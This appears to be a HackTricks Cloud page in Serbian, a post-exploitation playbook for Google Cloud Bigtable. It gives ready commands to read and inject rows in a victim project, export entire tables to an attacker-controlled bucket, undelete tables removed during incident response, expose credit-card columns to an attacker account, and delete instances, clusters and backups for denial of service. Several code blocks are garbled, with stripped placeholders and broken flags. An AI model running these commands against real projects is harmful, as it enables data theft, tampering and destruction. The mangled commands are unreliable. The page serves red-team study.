GCP - Bigtable Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Bigtable

Za više informacija o Bigtable pogledajte:

GCP - Bigtable Enum

Tip

Instalirajte cbt CLI jednom preko Cloud SDK-a kako bi naredbe ispod radile lokalno:

Instalirajte cbt CLI
gcloud components install cbt

Čitanje redova

Dozvole: bigtable.tables.readRows

cbt dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za dodatnim slojem. Usmerite ga na kompromitovani projekat/instancu i preuzmite redove direktno iz tabele. Ograničite skeniranje ako vam je potreban samo pregled.

Pročitaj Bigtable unose ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Pisanje redova

**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite izmenu).

Koristite isti alat da izvršite upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite poisoned dataset rows.

<details>

<summary>Ubacivanje zlonamernog reda</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set prihvata sirove bajtove preko @/path sintakse, pa možete poslati compiled payloads ili serialized protobufs tačno onako kako downstream services očekuju.

Izdvoji redove u svoj bucket

Dozvole: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Moguće je exfiltrate sadržaj cele tabele u bucket pod kontrolom napadača pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete.

Note

Imajte na umu da će vam trebati dozvola iam.serviceAccounts.actAs nad nekim SA koji ima dovoljno dozvola za izvođenje export-a (po defaultu, ako nije drugačije naznačeno, biće korišćen default compute SA).

Izvezi Bigtable u GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Promenite šablon u `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON-a. Dozvole su iste; menja se samo putanja šablona.

### Uvoz redova

**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Moguće je uvesti sadržaj cele tabele iz bucket-a koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji se uvoze u očekivanoj šemi. Napadač može prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl



> [!NOTE]
> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvede eksport (po podrazumevanju, ako nije drugačije naznačeno, biće korišćen podrazumevani compute SA).

<details>

<summary>Uvoz iz GCS bucketa u Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Vraćanje rezervnih kopija

Dozvole: bigtable.backups.restore, bigtable.tables.create.

Napadač sa ovim dozvolama može da obnovi rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi mogao da povrati stare osetljive podatke.

Obnova Bigtable rezervne kopije ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Vraćanje izbrisanih tabela

**Dozvole:** `bigtable.tables.undelete`

Bigtable podržava soft-brisanje sa periodom zadržavanja (obično 7 dana po podrazumevanoj vrednosti). Tokom tog prozora, napadač koji ima dozvolu `bigtable.tables.undelete` može vratiti nedavno obrisanu tabelu i povratiti sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se smatralo da su uništene.

Ovo je posebno korisno za:
- Obnavljanje podataka iz tabela koje su defenders izbrisali tokom incident response
- Pristup istorijskim podacima koji su namerno uklonjeni
- Poništavanje slučajnih ili zlonamernih brisanja da bi se održala persistence

<details>

<summary>Vraćanje obrisane Bigtable tabele</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

Operacija undelete funkcioniše samo u okviru konfigurisane politike zadržavanja (podrazumevano 7 dana). Nakon isteka tog vremenskog perioda, tabela i njeni podaci se trajno brišu i ne mogu se povratiti ovom metodom.

Kreirajte Authorized Views

Dozvole: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Authorized views vam omogućavaju da prikažete odabrani podskup tabele. Umesto da se pridržavate principa najmanjih privilegija, koristite ih da objavite tačno one skupove kolona/redova koji sadrže osetljive podatke koji su vam važni i da stavite na whitelist svoj principal.

Warning

Problem je što da biste kreirali authorized view, takođe morate imati mogućnost čitanja i menjanja redova u osnovnoj tabeli; dakle ne dobijate nikakva dodatna prava, pa je ova tehnika uglavnom beskorisna.

Kreirajte authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Pošto je pristup ograničen na view, odbrambeni timovi često zanemare činjenicu da ste upravo kreirali novi endpoint visoke osetljivosti.

### Čitanje Authorized Views

**Permissions:** `bigtable.authorizedViews.readRows`

Ako imate pristup Authorized View, možete čitati podatke iz nje koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta možete pristupiti u tabeli. Ispod je primer koji koristi Python:

<details>

<summary>Čitanje iz authorized view (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Denial of Service via Delete Operations

Dozvole: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Bilo koja od Bigtable delete dozvola može biti iskorišćena za Denial of Service napade. Napadač sa ovim dozvolama može poremetiti rad brišući kritične Bigtable resurse:

  • bigtable.appProfiles.delete: Uklanja aplikacione profile, prekidajući veze klijenata i konfiguracije rutiranja
  • bigtable.authorizedViews.delete: Uklanja ovlašćene prikaze, preseči legitimne puteve pristupa za aplikacije
  • bigtable.authorizedViews.deleteTagBinding: Uklanja tag bindings sa ovlašćenih prikaza
  • bigtable.backups.delete: Uništava backup snimke, uklanjajući opcije za oporavak od katastrofe
  • bigtable.clusters.delete: Briše čitave klastere, uzrokujući neposrednu nedostupnost podataka
  • bigtable.instances.delete: Uklanja cele Bigtable instance, brišući sve tabele i konfiguracije
  • bigtable.tables.delete: Briše pojedinačne tabele, uzrokujući gubitak podataka i padove aplikacija
Brisanje Bigtable resursa ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Operacije brisanja su često trenutne i nepovratne. Osigurajte postojanje rezervnih kopija pre testiranja ovih komandi, jer mogu prouzrokovati trajni gubitak podataka i ozbiljan prekid usluge.

> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>